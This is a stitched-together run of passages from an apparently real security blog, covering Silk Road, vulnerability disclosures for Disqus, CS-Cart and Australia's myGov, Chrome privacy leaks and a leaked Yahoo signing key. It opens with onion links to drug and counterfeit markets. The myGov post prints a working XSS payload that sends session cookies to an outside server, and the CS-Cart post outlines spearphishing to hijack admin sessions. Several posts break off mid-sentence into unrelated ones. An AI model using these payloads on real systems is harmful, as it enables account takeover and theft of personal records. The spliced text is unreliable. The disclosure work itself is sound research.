| RepAAA’s Hidden Empire | `xskus6q7olpdlrkb.onion` | | \* |
| Cloud Nine | `xvqrvtnn4pbcnxwt.onion` | | \* | \* |
| Beneath VT: | `y4hzxepemtqcf4qh.onion` | Clone | |
| paraZite | `y66x4b3jrt3mnglw.onion` | Clone | |
| Onion Wallet | `y6dyzauztb5u2ufa.onion` | Clone | |
| Flugsvamp | `yakwbcn5ou2wkzfx.onion` | | |
| Cipolla | `ybphbuwerurne43o.onion` | | |
| | `ycjvz5cu3mjc4wyd.onion` | | |
| Suojeluskunta: | `ycngkogtvlaphgx2.onion` | Clone | |
| Cloud Nine | `ye5n3ecw64utvmmh.onion` | | |
| Onix Electronics: | `yhu73qfnjti3cmvf.onion` | Clone | |
| Zyprexa Kills: | `yifsrwkdvjiojr7w.onion` | Clone | |
| Peoples Drug Store: | `yrenuxvrrhmuvces.onion` | Clone | |
| USD Counterfeits | `yrpavngfbhbc3tcc.onion` | Clone | |
| BuggedPlanet.Info: | `yy5pepg54c5jry36.onion` | Clone | |
| Zero Squad | `z5fvd3hwmtzkgaqy.onion` | Scam | \* |
| The Intel Exchange: | `z7d7gx53ne7fouyf.onion` | Clone | |
| Cloud Nine | `z7rpuixjsncgomw7.onion` | | |
| OnionSphere: | `zbojy7pmy5vrrcqe.onion` | Clone | |
| nekrotown: | `zect4qky5qdam2xd.onion` | Clone | |
| Bitcoin-escrow: | `zkwwpiiksjafjo35.onion` | Clone | |
| Mail2Tor: | `zv7lufndr4khlicg.onion` | Clone | |
---
# 60 Minutes Australia on Silk Road and Bitcoin
*2014-09-14*
60 Minutes Australia tonight [aired a story](https://www.jump-in.com.au/show/60minutes/stories/2014/september/the-dark-web/) about Silk Road and Bitcoin. The video of the report, which is 14 minutes long, is [now available on their website](https://www.jump-in.com.au/show/60minutes/videos/3784171895001/) or [mirrored here on DailyMotion](https://www.dailymotion.com/video/x25y1be_60-minutes-australia-silk-road-and-bitcoin-story-september-2014_news).
The story is about what you would expect from a major media current affairs program. It shows “Sarah”, an Australian drug user who says she purchases her drugs online because it is less stressful, safer and anonymous (Sarah is also saying all of this, along with tips on how to buy drugs – such as reading reviews on the forums prior to purchasing, and using a fake name to receive your order – while on national television).
The report is intertwined with the [story of Preston Bridge](https://www.abc.net.au/news/2014-06-09/perth-teenager-preston-bridge/5510606), a teenager who died after falling (or jumping) from the balcony after taking [NBOMe](https://en.wikipedia.org/wiki/25I-NBOMe), a synthetic form of LSD, that another person at the party had purchased from Silk Road. Also part of the report is an interview with FBI agent Christopher Tarbell – who was part of the investigation into Silk Road, which lead to the arrest of Ross Ulbricht. Tarbell is most infamous as the handler of Lulzsec hacker Sabu ([Hector Monsegur](https://en.wikipedia.org/wiki/Hector_Xavier_Monsegur)) and an author of the technical report released last week about [how the FBI located the Silk Road server](https://www.nikcub.me/posts/analyzing-fbi-explanation-silk-road/).
## Deepweb or Darknet
What was more interesting to me about the story was how the terms “Deepweb” and “Darknet” were used interchangeably, and how the report spent some time describing how “most of the Internet” is hidden from ordinary web users.
The reporter says in the introduction:
> [Reporter] “whatever device you’re using, you’ve got the whole world at your fingertips. Well, no you don’t. In fact, you have access to less than 10% of it. The other 90% of the Internet is hidden – a vast, secret, cyber underworld. It’s called the Darkweb – and people aren’t using it to buy shoes. They’re buying drugs, weapons – anything you can imagine. The subterranean world is sinister and untraceable – with consequences that can be deadly. “
And then in the story:
> [Reporter] “What many don’t realize is that if you’re using a search engine, like Google or Yahoo, you’re only scratching the surface of the Internet. Below is a mass of hidden content, more than 90% of the Internet – knows as the Deep, or Dark web. With the right software it is easily accessible, and it is here that the new breed of drug dealers are selling their wares”
First, there is an irony in this because if we go back to the beginning of the report, where Sarah was demonstrating Silk Road, the tab in her browser next to the tab showing Silk Road is a Google search results page for “list of tor sites silkroad”:
If you [do the same search](https://encrypted.google.com/search?q=list+of+tor+sites+silkroad), you’ll find that the onion URL for Silk Road is in the top result. Darknet sites are only not indexed directly by Google because Google has chosen not to index them. DuckDuckGo, an alternate search engine, have considered indexing onion sites directly but decided not to as it would “tick some people off” (namely, the site administrators). There are also web services that proxy Darknet websites hosted as onion hidden services on Tor and make them accessible over the clearnet. [Tor2web](https://www.tor2web.org) is just one example, and the pages it hosts can sometime be found in the indexes of search engines (Note: do not use Tor2web to signup to any accounts on hidden services or enter your password anywhere – it breaks the security model of Tor, while it is useful if you ned to browse and read and don’t have Tor – you do lose your anonymity).
Clearly Darknet sites are not very “hidden”, and they do not make up “90% of the web” (far from it, there would be hundreds or thousands of Darknet sites, while there are tens of millions clearnet sites) – what is going on here is reporters and other sources mix up the terms “Deepweb” and “Darkweb”. This report is just the latest example of that mistake being made.
Interchanging “Deepweb” with “Darknet” or “Darkweb” is common, but they are two distinct concepts. The concept of the Deepweb was first described as the _Hidden Web_ in a 1994 book titled [“The Internet Business Book”](https://dl.acm.org/citation.cfm?id=185247) by Dr Jill Ellsworth and Matthew Ellsworth. The author describes the concept in [this 1996 interview](https://web.archive.org/web/19961205083117/http://tcp.ca/Jan96/BusandMark.html):
> signs of an unsuccessful or poor site are easily identified, says Ellsworth. “Without picking on any particular sites, I’ll give you a couple of characteristics. It would be a site that’s possibly reasonably designed, but they didn’t bother to register it with any of the search engines. So, no one can find them! You’re hidden. I call that the invisible Web.”
The hidden web concept was cited, expanded on and re-termed the Deepweb in a 2001 paper titled [“The Deep Web: Surfacing Hidden Value”](https://quod.lib.umich.edu/j/jep/3336451.0007.104?view=text;rgn=main) by Michael Bergman. Most statistics about the deepweb, such as the oft-cited “90% of the web is hidden” figure, are from this 13 year old paper.
Deepweb describes websites and pages that are not accessible by search engine crawlers, and are thus not indexed or readily discovered by web surfers. The deepweb is information that is stored and can be retrieved on private networks or on networks that are connected to the public internet but are only accessible with a user account. It is all that information stored by companies, government agencies or other organizations and used internally but not made available to the public.
It is true that the _Deepweb_ makes up some large amount of information and data that is larger than what is available on the public web – the figure may even be ten times larger – but this is very distinct from the Darknet, which is Tor (or i2p, or another protocol and network) hosted sites.
The _Darknet_, which this story is about, is not 90% of the Internet nor is it large and very hidden.
## Reactions from Viewers
The story on 60 Minutes, which is a popular weekly current affairs program, provoked reactions on Twitter and other social media. The first tweet from the official program Twitter [account was “Are you aware of the Darkweb?”](https://twitter.com/60Mins/status/511102393665069056) – to which many replied a variation of “we are now”, which speaks to the [Streisand effect](https://en.wikipedia.org/wiki/Streisand_effect) of reporting on topics that were previously more obscure.
Other reactions include a call to have such sites blocked, which suggests the story didn’t do a good job of explaining just where and how these sites are hosted (outside of them being “hidden”) while others ask how children are able to access and “afford” such software.
---
# Analyzing the FBI’s Explanation of How They Located Silk Road
*2014-09-07*
The first incarnation of online drug marketplace [Silk Road](
The last little touch on our exploit is that we trigger the form submit on pageload. I successfully utilized this exploit against a live environment as part of a pen test via a spearphish email to an administrator (my exploit was a little more sophisticated and the payload useful).
## Issue 2: No nonce check on setting reset and delete
This one is less serious, but on the same advanced settings page for the plugin the submitted nonce isn't checked meaning we can use CSRF to trigger the 'reset' function or to delete any of the disqus plugin options.
Exploit here is simple again, take the last exploit and remove all the fields and add one for 'reset'. Deliver to a victim and we can trigger the reset or a delete action.
The form includes a nonce, but it isn't being checked on submit. The `wp_verify_nonce` function ([documentation](https://codex.wordpress.org/Function_Reference/wp_verify_nonce)) should be called on submit.
## Issue 3: Unfiltered parameter in upgrade script
The `step` parameter is stored unfiltered and then echo'd out, resulting in an XSS. Code path can be hit when Disqus install is out of date.
```php
```
## Dislosure Timeline
**June 9th 2014** - Reported to security@disqus**June 24th 2014** - Fixed in [Disqus for WordPress v2.7.6](https://wordpress.org/plugins/disqus-comment-system/other_notes/) --- # CS-Cart v4.2.0 Session Hijacking and Other Vulnerabilities *2014-08-07* **Vendor**: [CS-Cart](https://www.cs-cart.com/) **Affected versions**: up to v4.2.0 **Patched:** v4.2.1 released [CS-Cart](https://www.cs-cart.com/) is a semi-popular open source e-commerce shopping cart application. It contains a homebrew session management system that utilizes an insecure source of randomness to generate session tokens. The poor source of randomness combined with other bugs makes it possible to hijack an administrators session with a small brute-force window. The exploit involves a number of steps, and i’ll set them all out below along with background on each step. ## Part 1: Weak Session ID Generation In the file `./app/Tygh/Session.php` line 49: A session key based on `uniqid`, which is not cryptographically secure. This is what [the PHP manual](https://au1.php.net/uniqid) says about `uniqid`: > **Warning** This function does not create random nor unpredictable strings. This function must not be used for security purposes. Use a cryptographically secure random function/generator and cryptographically secure hash functions to create unpredictable secure IDs. What might be understated is just how non-random `uniqid` really is. Here is the [relevant source code](https://github.com/php/php-src/blob/af6c11c5f060870d052a2b765dc634d9e47d0f18/ext/standard/uniqid.c#L44-L87) for the PHP function: It turns out `uniqid` is just a call to `gettimeofday` and formatted back in hex. The parameter passed to `uniqid` is not a seed, it is just a prefix. Passing `time()` to `uniqid()` effectively just prints the time twice. To better understand just how non-random this is, here is a pure PHP implementation of `uniqid` to make it a little easier to understand: Example output: CS-Cart generating `md5(uniqid(time()))` as a session ID is simply the md5 hash of: the current time as an integer in seconds plus the current time as a hexadecimal number plus the current number of usecs in hex. You can probably see already where this is heading. There are 999,999 usec’s per second, so if we can work out at what time a session was generated within a second we can take a shot at brute-forcing it. Exploiting this will require finding a way to force the user into recreating a session or figuring out when their session was created. ## Part 2: Regenerating the Administrators Session In the same `Session.php` file in the `start` method that is called on every request there is this little block of code: The `$request` variable simply stores all the applications request variables (it mixes GET and POST vars into one array, replicating PHP’s `$_REQUEST`). What this code says is – if there is a request variable that is the same name as the session name, then set the value of the session to the value of the request. We don’t know the value, but what this allows an attacker to do is to set the session variable to an _invalid_ value, thus killing the session. The session name is unique to each install, but is easy to retrieve by simply visiting the admin portal login page and checking the name of the cookie. In my example install the name of the cookie is `sid_admin_e66cd`. We can then craft a URL that when visited will log the admin user out since it isn’t a valid session (there is also a header inject bug here): `http://cscart.local/admin.php?sid_admin_e66cd=a` The value of the cookie doesn’t matter. When an administrator visits that URL they will be logged out of their session and sent back to the login page. We now have a way to force the admin user to re-crate the session. If we send the admin that link and hope they log in again we can narrow down the search field for the brute-force. ## Part 3: User-Agent Checking One problem with exploiting it is that the CS-Cart application stores the administrators user-agent in the session and checks it on every request. If the user-agent does not match the user agent stored for the user then the session is expired. There is a way around this – we simply wrap the URL around a URL shortener that we control. That gives us not only the user-agent but also the correct UTC (or relevant timezone) datetime where we can begin our session search from. I have my own evil shortener that I use – it is hosted on a couple of innocent looking domain names. I crafted the admin logout URL, shortened the link to look like an image and then sent a spearphish email to the target admin: > Hi, I was wondering if you have this in stock: The URL would redirect to log them out on the CS-Cart admin backend. Hopefully the admin user would login again after seeing their session logout. Looking at the logs on the shortener, we now have the exact time the admin clicked the link and their exact user-agent. ## Part 4: The exploit We now have all the components we need to brute-force the session. Here is a simple python exploit (I used a multithreaded version that uses gevent) [Exploit on GitHub](https://gist.github.com/nikcub/a0686e48ddeb943fd610) Suggested improvements would be to distribute the load across more machines. I successfully hijacked a session using a small number of servers. ## Issue #2: secret_key is not random. During install CS-Cart generates a secret key that is used in encryption routines and other security routines. The generation method is not random and is rather weak. Here is the source: `str_shuffle` uses `rand`, which is also not secure. ## Disclosure Timeline **10th June 2014** – Reported to CS-Cart
**17th June 2014** – Bugs confirmed by CS-Cart, offered a free license of their software. I replied asking when the fix will be out – no response.
**20th June 2014** – Sent them an email telling them I have more bugs – no response.
**21st July 2014** – [CS-Cart announce v4.2.1](https://blog.cs-cart.com/2014/07/21/cs-cart-4-2-1-released-new-styles-e-mail-marketing-and-more/) with no mention of security patches, bury the details [in the changelog without mentioning security](https://www.cs-cart.com/changelog421.html) (no credit).
**7th Aug 2014** – I find out they patched the bugs weeks ago only because I checked the latest version myself. --- # Multiple Vulnerabilities in MyGov, the Australian Government Single-sign-on Solution for Citizen Services. *2014-05-15* **Update:** This story has been published by Fairfax [on the Sydney Morning Herald website](https://www.smh.com.au/it-pro/security-it/revealed-serious-flaws-in-mygov-site-exposed-millions-of-australians-private-information-20140515-zrczw.html). The previous Australian government introduced a policy called [Digital First](http://www.amta.org.au/articles/Delivering.user-friendly.Government.services.online), which is a mission to make the majority of Australian government services available online by 2017. The new government elected in 2013 adapted this policy and extended it further, requiring that 80% of government interfaces with [citizens be digital by 2020](http://www.archive.dbcde.gov.au/2013/september/national_digital_economy_strategy/advancing_australia_as_a_digital_economy/part_three_achieving_o%20ur_goalsbuilding_on_the_2011_national_digital_economystrategy/online_government_service_delivery). Australian citizens currently interact with each government department using separate credentials. There is on set of user credentials (and association registration, forgot password flow, recovery email, etc.) at each of the tax office, Centerlink (welfare and pension), child support, eHealth, etc. One of the important points of the new policy was to implement a single sign-on solution and integrate all the government services via it. From the policy: “a single authentication process by the end of 2017.” That single authentication process is hosted at a website called [myGov](http://my.gov.au), where users register once and then ‘link’ services that they want to access. It works in a similar way to single-sign-on accounts at Microsoft (Password) or Google, where logging into Google once will also log you into Gmail, Google Drive etc., or for Microsoft log you into Outlook, Office Online, etc. myGov steadily rolled out and now has over 2.2 million users. Medicare was one of the first departments to be switched over to the new website, so if you access your medical records online you then _had to_ use myGov. It was with the announcement of Medicare and then the Australian Tax Office moving over that myGov started to attract attention. I found out after taking a look at the website that myGov was very insecure – leaving the private data of 2.2 million Australian citizens potentially compromised. Ben Grubb, an IT journalist at Fairfax (Sydney Morning Herald, The Age) [reported that](https://www.smh.com.au/it-pro/government-it/australians-private-government-details-at-mercy-of-hackers-say-it-security-experts-20140428-zqzkg.html) the secrets used to authenticate your identity to myGov were not very secret (using a Medicare number, which is easy to guess) and that hijacking a users identity is possible. It was that article, along with hearing that the Australian Tax Office would migrate users to myGov, which prompted me to look at the app in more detail. ## Developing a myGov exploit I fired up Burp, opened the myGov website and then indexed all the public interfaces and crawled them. It wasn’t long before I started seeing 500 errors, crash reports and debug logs such as “Will not display in production: ” being displayed on the production server. One interface that was crashing on bad input looked like an SQL injection (it would give two different responses to a parameter of name `(select 1)` and `(select 1=2)`), any apostrophe or quote mark in any field name or value would crash the app, and worst thing I noticed is that the error messages were not filtering out the quote marks when referring to them in the logs. I put in `"<>';?` as a value to all the parameters in one page request and every character went straight into the output without being escaped. This is exactly what a cross-site scripting bug is, it’s when an attacker can control the output of a web application directly and execute their own Javascript. My next test was to pop up an alert, which I knew would work: `_flowExecutionKey=<img src=a onerror="alert('javascript test')">` produced:
Next step was to weaponize this exploit and attempt to steal session cookies. Some cross-site scripting attacks can be stopped or mitigated at this point as developers will prevent cookies from being read by Javascript, setting both the HttpOnly flag and the secure flag.
On the myGov app I created some throwaway test accounts and inspected the cookies to see how they were set. These are the results of a typical logged in session:
Most of the cookies were being set with no flags, being allowed to expire whenever. No HttpOnly or secure flags, meaning we can read the values in Javascript and the actual login cookie `PWSEAL-GOV-C` was a session cookie, not set to expire. The app was setting cookies and then relying on Javascript to expire them. There is a process, `sessionCheck()`, which would run every x seconds and check for user inactivity. If it was inactive for 5 minutes it would then run a function that would attempt to expire the cookies programatically.
If you have ever tried expiring cookies with Javascript, you would know that there is no direct way of doing it – you just have to set the same cookie with the same parameters as being empty and hopefully overwrite it. There is a lot that can go wrong in this process, clients with Javascript errors or no Javascript will never have their session expired (it fails to never expiring).
Since we had control of the Javascript via the XSS, we could control this process in any case and kill off the session checking.
One more step in developing an exploit – can the site be framed? This is the difference between being able to exploit the vulnerability by sending a victim _any_ link or having to send them a link directly to the my.gov.au website. The response headers have no X-Frame-Options headers set, which means we can frame the exploit request in a hidden IFRAME on another site and send the user a link to it (you can get hits on your exploit by purchasing banner ads, posting to forums, sending out spam, etc.)
The exploit code was simple, it would post the cookie values back to a server I control (where I have a cookie-grabber setup):
```http
https://my.gov.au/EnrolService/enrolService.htm?_flowId=enrolmentmgflow&_flo wExecutionKey=aa%3cimg%20src%3da%20onerror%3d%22$.post('http://s03.do.nikcub.com/get.php',document.cookie)%22%3eaa
```
Place that in an IFRAME and the exploit works on Firefox and Internet Explorer. The Google Chrome and Safari XSS protection catches this, but since we have to parameters on the same URL which are injectable we can split the payload in two (or include a decoder) and bypass the Chrome and Safari XSS protection.
We now have an exploit for myGov which works in the background of any user visiting a link and which will send us their session and other cookies, allowing us to hijack their login and view and alter their tax, medical, welfare, pension and other records.
I setup a website with a picture on it and included the exploit in an IFRAME in the background. I created another dummy account, opened it in a new browser and visited the link – in less than a second I saw all my cookies scroll down my terminal window which was showing the capture server logs.
I asked Ben if he gave me permission to hack him – he said yes and shortly after I had his cookies and was logged in as him.
## Other Problems
The problems with myGov aren’t just the blatantly poor input handling and escaping. I only tested the public interfaces and was able to crash the server reliably, find multiple instances off no output filtering, find different responses to SQL commands, no cookie expiry, no HttpOnly flags, etc. The list was a dozen issues long, so instead of just writing up the XSS and reporting it to the government I decided to sit down and write all of these down.
A few hours later I had a 6 page document with a dozen issues listed and recommended fixes for each one, but now I had nowhere to send it. Searching the myGov website, the department website the only interface was standard customer support. No security contact and no admin contact. I tried the contacts on the domain and got nothing, and ended up finding a manager from the department on twitter while searching and emailed him.
Not having a security contact would be another issue, so I went back into the document and added it as an issue before emailing it out to the contact at the government I had found on Twitter.
I only ever got one response from the government, it was a formal letter in a PDF attached in an email from an assistant to the IT security person. It talked around the questions I had asked and was mostly about how seriously the government take security issues, how vigilant they are and how thankful they are to me for reporting them.
My follow up emails asking if they had fixed the issues, what they had fixed or hadn’t and if it was ok if I publish the details now all went unanswered. The one XSS I described is fixed – I know that because I checked it again myself, but a lot of the other issues are not.
I never got any other response – no mention of which issues I listed they considered issues, which they had fixed, which they considered not serious, etc. I simply waited another week after not getting a response and assuring that the major issues were patched and then decided to publish this post.
The full document which I sent to the department is embedded below.
## Security report sent to the Department of Human Services
[Australian Government myGov Website Security Issues](https://www.scribd.com/doc/224070691/Australian-Government-myGov-Website-Security-Issues?secret_password=xDLo231FFKMT9GPQnDlP) by [nikcub](https://www.scribd.com/nikcub)
## Government Response
[MyGov Security Gov Response](https://www.scribd.com/doc/224260090/MyGov-Security-Gov-Response) by [nikcub](https://www.scribd.com/nikcub)
---
# Two Google Chrome Privacy Issues
*2012-08-08*
I have recently discovered two privacy issues with Google Chrome that users should be aware of. They both relate to browsing history data not being deleted despite the user taking action to delete browsing history.
A Google Chrome user can delete browser history by going into `Preferences -> Show Adavanced Settings -> Clear Browsing Data`. The following dialog is presented:
_[Image unavailable - Skitch service discontinued]_
If you then click the 'Clear browsing data' button you would expect that all traces of websites that have been visited from the machine would be erased, but there are two instances where user visit data is retained.
I have tested both of these issues with the latest Chrome versions (including Canary) on both Windows and Mac.## Issue 1: Zoom level information for a domain is retained When visiting a web site in Chrome, if you zoom in and out (cmd + +/- or view -> zoom in/zoom out) the browser will remember your zoom setting for that website. The next time you visit the same site it will apply your previous zoom setting automatically. The zoom data is associated per domain, and is stored in the user Preferences file, which is part of the user profile – `~/Library/Application Support/Google/Chrome/Default` in OS X and `\Documents and Settings\%USER\Local Settings\Application Data\Google\Chrome\User Data\Default` on Windows (or AppData in Win8). The Preferences file is a plain text file that stores user preferences in JSON format. The per host zoom settings are stored in this file and **not deleted** when the user deletes browser history, leaving a trail of visited domain names where the user has adjusted zoom settings. An example of what it looks like: ```json “per_host_zoom_levels”: { “”: -1.0, “1.bp.blogspot.com”: -0.5778829455375671, “2.bp.blogspot.com”: 3.0, “3.bp.blogspot.com”: 3.0, “4.bp.blogspot.com”: -2.22938871383667, “account.onetruefan.com”: -1, “acko.net”: -1.0, “allthingsd.com”: -1.0, “antirez.com”: -1, “api.jquery.com”: -0.5778829455375671, “apple.stackexchange.com”: -1.0, “archive.guardian.co.uk”: -1.0, “arstechnica.com”: -0.5778829455375671, ``` Any other user or process with access to the user profile can access this information. This issue was [files as a bug](https://code.google.com/p/chromium/issues/detail?id=137412) on the 14th of July. ## Issue 2: DNS prefetched domains are not deleted with browsing history DNS is used to translate a domain name (eg. xyz.com) to an IP address. The DNS lookup portion of a visit to a webpage can take anywhere from 10-50% of the load time, depending on the DNS server and network conditions. To improve the performance and responsiveness of Google Chrome, the browser will 'pre-fetch' DNS queries and cache them in the user profile. It will perform DNS lookups in the background for any domain names it finds within a page you are visiting, and cache the results. When you click on one of the links, the cached result is used rather than a network lookup. Google wrote a [thorough blog post](https://blog.chromium.org/2008/09/dns-prefetching-or-pre-resolving.html) about DNS prefetching in Chrome, how it works and the benefits. In Chrome, if you open `chrome://dns` in the adress bar, you will see all the statistics for DNS prefetching. As with the zoom issue, Chrome does not delete this DNS prefetch information when a user deletes browser history – meaning that a long list of visited domains (and other information) is left behind on a machine even after the user forcibly deletes the browser history. Here is what the DNS prefetch information looks like in the Preferences file. _[Image unavailable - Skitch service discontinued]_ This issue was [also filed as a bug](https://code.google.com/p/chromium/issues/detail?id=137414) on June the 17th. There is a [blog post here](https://www.mydigitallife.info/turn-off-dns-prefetching-in-google-chrome-to-fix-resolving-host-and-cannot-load-page-error/) describing how to disable DNS prefetching in Chrome ## Potential Impact If you are on a shared machine, such as a public terminal, you can learn the browsing habits and sites that are visited of previous users. This is most likely to be used in combination with other attacks. Don't rely on the built-in features of Chrome to remove every trace of your web browsing history from a machine. With your browsing history, an attacker could find information about the services you use (such as your banking provider, etc.) in preparation for a spear-phish attack. There is the simple issue of privacy and the potential mis-interpretation of what 'clear browser history' really means. I would have thought that this issue would be somewhat important in clearing up, by adding some simple routines to the history clearing functions, but there has been no action on it from developers on the Chromium project. --- # Yahoo Axis Chrome Extension Leaks Private Certificate File *2012-05-24* Yahoo! today announced their new [Axis](https://axis.yahoo.com) web browser. It is implemented as an extension to Chrome, Firefox and Internet Explorer. I installed the [Chrome extension](http://sxp.yimg.com/ei/ynano/YAxis_Chrome_v1_0_20120520.crx) (direct link to original Chrome extension, probably not a good idea to install it) with the idea of checking out the source code. The first thing I noticed is that the source package contains their private certificate file used to sign the extension:  The certificate file is used by Yahoo! to sign the extension package, which is used by Chrome and the webstore to authenticate that the package comes from Yahoo!. With access to the private certificate file a malicious attacker is able to create a forged extension that Chrome will authenticate as being from Yahoo! ## Demonstration To demonstrate the vulnerability, I cloned the source to the extension and added a content script that will prompt a Javascript alert. I then signed my forged extension with the Yahoo! certificate, and installed it in Chrome. The code for the original Yahoo! extension, and the forged extension I created have been checked into GitHub in a repository at [https://github.com/nikcub/yahoo-spoof](https://github.com/nikcub/yahoo-spoof) The source is the same as the original Yahoo! Axis extension except for [this content script](https://github.com/nikcub/yahoo-spoof/blob/master/src/content.js#L2) which triggers an alert. **Warning: Only install the forged extension if you know what you are doing** Here is [a link](https://github.com/nikcub/yahoo-spoof/raw/master/build/yahoo-spoof.crx) to a build of the forged extension. It is the same as the original Yahoo! source except it includes a content script that will popup a javascript alert on each page, and it has been signed by Yahoo! (well, me). This is a proof of concept. When you click on that link it will install the extension in Chrome. ## Removing the Extension See the [detailed instructions on the Google Support website on managing extensions](https://support.google.com/chrome/bin/answer.py?hl=en&answer=187443). There is also a page detailing [how to remove extensions permanently](https://support.google.com/chrome/bin/answer.py?hl=en&answer=113907). First open the Chrome Extensions setting window. Either: a) On Mac OS X click on 'Window' and then 'Extensions'. On Windows click on 'Tools' then 'Extensions', or b) Click on the wrench icon that is located to the right-hand side of the address bar, click on Tools and then Extensions c) Visit the address `chrome://extensions` in your address bar. This works on all platforms Then when you have the extensions setting page open. scroll down until you see the `Yahoo! Axis` extension and either uncheck the 'enabled' checkbox, or mouse over the trash icon to delete it.  ## Implications The clearest implication is that with the private certificate file and a fake extension you can create a spoofed package that captures all web traffic, including passwords, session cookies, etc. The easiest way to get this installed onto a victims machine would be to DNS spoof the update URL. The next time the extension attempts to update it will silently install and run the spoofed extension. I immediately reported this to Yahoo! on their security contact address and have yet to hear back. **Update:** Regarding responsible disclosure. I have a long history of contacting vendors and working with them on security and privacy leaks. I have probably reported over a hundred incidents over the past 15 years. The way this came about was out in the open, and started [with tweet](https://twitter.com/nikcub/status/205489752684765185) pointing out the file and only later in the conversation was the possible seriousness of the leak established. It was only via conversations and messages on Twitter after the initial tweet that we worked out that this could be a serious issue, but I contacted Yahoo almost right away. I think it is important for users to know that there is potentially an issue here and to be wary of it. With hindsight I would have kept it to myself and messages Twitter, but I relied on a number of other people on Twitter who responded to my original message to ascertain the potential of this disclosure. There is also an element of obviousness in this vulnerability. Any developer who is familiar with how Chrome extensions are verified who looked at the source of this package would have seen and noticed the certificate file. --- # BlockPlus v4 - Block Google+ widgets and links from other Google sites *2012-02-21*  Google recently added a Google+ widget to the search engine homepage. I wrote BlockPlus when Google+ was first released and first integrated into other Google properties. The idea was to remove all the links to Google+ and Google+ widgets from other Google properties so that you aren't distracted by them and so that the page would load faster. Today I have released version 4 (don't ask about the version numbering and how it went from 0.7 to 4.0). It has been updated to remove the new widgets and to also speed up page loading on the Google homepage, the search results page and within other apps such as GMail and Docs. To install BlockPlus for Chrome click: [https://github.com/nikcub/Blockplus/raw/master/chrome/build/blockplus-4.crx](https://github.com/nikcub/Blockplus/raw/master/chrome/build/blockplus-4.crx). If you installed it previously your browser will auto-update to this new version within a few hours. The project also has a new homepage at GitHub which you can find at [https://github.com/nikcub/Blockplus](https://github.com/nikcub/Blockplus). Issues can be submitted at [https://github.com/nikcub/Blockplus/issues](https://github.com/nikcub/Blockplus/issues). Thank you to those who have previously contributed bug fixes, issues or other feedback. There are no outstanding issues with this release. If you are interested in porting the extension as a user script, a greasemonkey script, for Safari or Firefox then feel free to fork it and submit a pull request. I have organized the directories to allow for builds and separate source for other browsers – I just haven't gotten around to implementing the ports myself. ## Screenshot  --- # Facebook and many other sites also bypass Internet Explorer privacy controls *2012-02-21* There is [a post](https://blogs.msdn.com/b/ie/archive/2012/02/20/google-bypassing-user-privacy-settings.aspx) today on a Microsoft MSDN blog about how Google bypasses third-party cookie control in Internet Explorer by setting a false P3P header. The post author is Dean Hachamovitch, who is the VP for IE, and follows up from a [big story last week](https://online.wsj.com/article/SB10001424052970204880404577225380456599176.html) about how Google and a number of other ad networks are bypassing third-party cookie blocking in Safari by using a workaround (the workaround involves an IFRAME and a form that is submitted automatically using Javascript). The case with IE is different. Google (and many other sites) are taking advantage of the [P3P protocol](https://en.wikipedia.org/wiki/P3P) (a privacy extension to HTTP) to set third-party cookies. Here is a summary of what Google is doing, from the article: > By default, IE blocks third-party cookies unless the site presents a P3P Compact Policy Statement indicating how the site will use the cookie and that the site’s use does not include tracking the user. Here is what a valid P3P header looks like, as set by `microsoft.com`: ```bash $ nc microsoft.com 80 HEAD / HTTP/1.1 Host: www.microsoft.com HTTP/1.1 301 Moved Permanently Connection: close Date: Tue, 21 Feb 2012 04:29:06 GMT Server: Microsoft-IIS/6.0 **P3P: CP='ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI'** X-UA-Compatible: IE=EmulateIE7 X-Powered-By: ASP.NET Location: http://www.microsoft.com Content-Length: 23 Content-Type: text/html Cache-control: private ``` If an invalid P3P header is set, or a header that doesn't state policy, Internet Explorer will by default accept the third-party cookies (this doesn't happen in IE9). This is what the P3P header looks like for google.com: ```http P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info." ``` Not mentioned in the Microsoft article is that Facebook are also setting an invalid header ('invalid' may not be the right terminology here, but they are setting a header that does not contain valid privacy policies). This results in Internet Explorer (pre version 9) accepting the third-party cookies. From facebook.com: ```bash $ nc facebook.com 80 GET / HTTP/1.1 Host: www.facebook.com HTTP/1.1 302 Found Location: http://www.facebook.com/common/browser.php **P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"** Set-Cookie: datr=FxdDTzq9li7A7DRTAxVSXaZN; expires=Thu, 20-Feb-2014 04:01:27 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 X-FB-Debug: 8V3X/HiIi+1PrEZFy4c8LpavYxpBvnsojJ+pcYyGJUg= X-Cnection: close Date: Tue, 21 Feb 2012 04:01:27 GMT Content-Length: 0 ``` The reason Facebook gives for this header in the page [that is linked](https://www.facebook.com/help/?page=219494461411349) from it is: > The organization that established P3P, the World Wide Web Consortium, suspended its work on this standard several years ago because most modern web browsers do not fully support P3P. As a result, the P3P standard is now out of date and does not reflect technologies that are currently in use on the web, so most websites currently do not have P3P policies. Microsoft explicitly called out Google for their behaviour but either neglected to mention or didn't investigate Facebook (skeptics may believe that this is because of Microsoft's shareholding in Facebook and their partnerships in search and advertising (HT [ask4n](https://twitter.com/#!/ashk4n/status/171808741816147968))). If Google is being asked to set proper P3P headers (and it appears that they have already altered at least some of their servers) then Facebook should also he held to the same standard.
The popular file upload site Megaupload was [taken down](https://www.techmeme.com/120119/p97#a120119p97) today as part of a US DOJ investigation into the site for breaches of US copyright law.
From reading [the indictment](https://www.scribd.com/doc/78800989/Mega-Indictment) and digging around online you can start to reverse-engineer how the investigation was carried out.
The evidence in the grand jury indictment is of four forms:
- Internal emails, dating back to 2005 – including correspondance between staff members and support emails.
- Publicly accessible details such as URLs to pirated content, dates of domain registrations.
- Information from the Megaupload PayPal account and correspondance between PayPal and Megaupload
- Information from the Megaupload Moneybookers account.
The Megaupload corporate email was self-hosted on a dedicated server that was one of the 525 servers the company had located with Carpathia Hosting in Virginia. That mail server is no longer responding, but the MX record can still be found and pointing to an IP address belonging to Carpathia.
The bulk of the evidence against Megaupload is from the internal emails, likely taken from this server. I'd guess (and we won't find out for certain until the trial – that is, if this case ever gets to a courtroom) that the FBI and DOJ served Carpathia with a search warrant to gain access to the information on that email server. Under US law you are actually less protected if you host your own private email server rather than using a public service (see [this guide](https://ssd.eff.org/book/export/html/42) on what the government can and can't do). Megaupload would not have been made aware of any such search warrant.
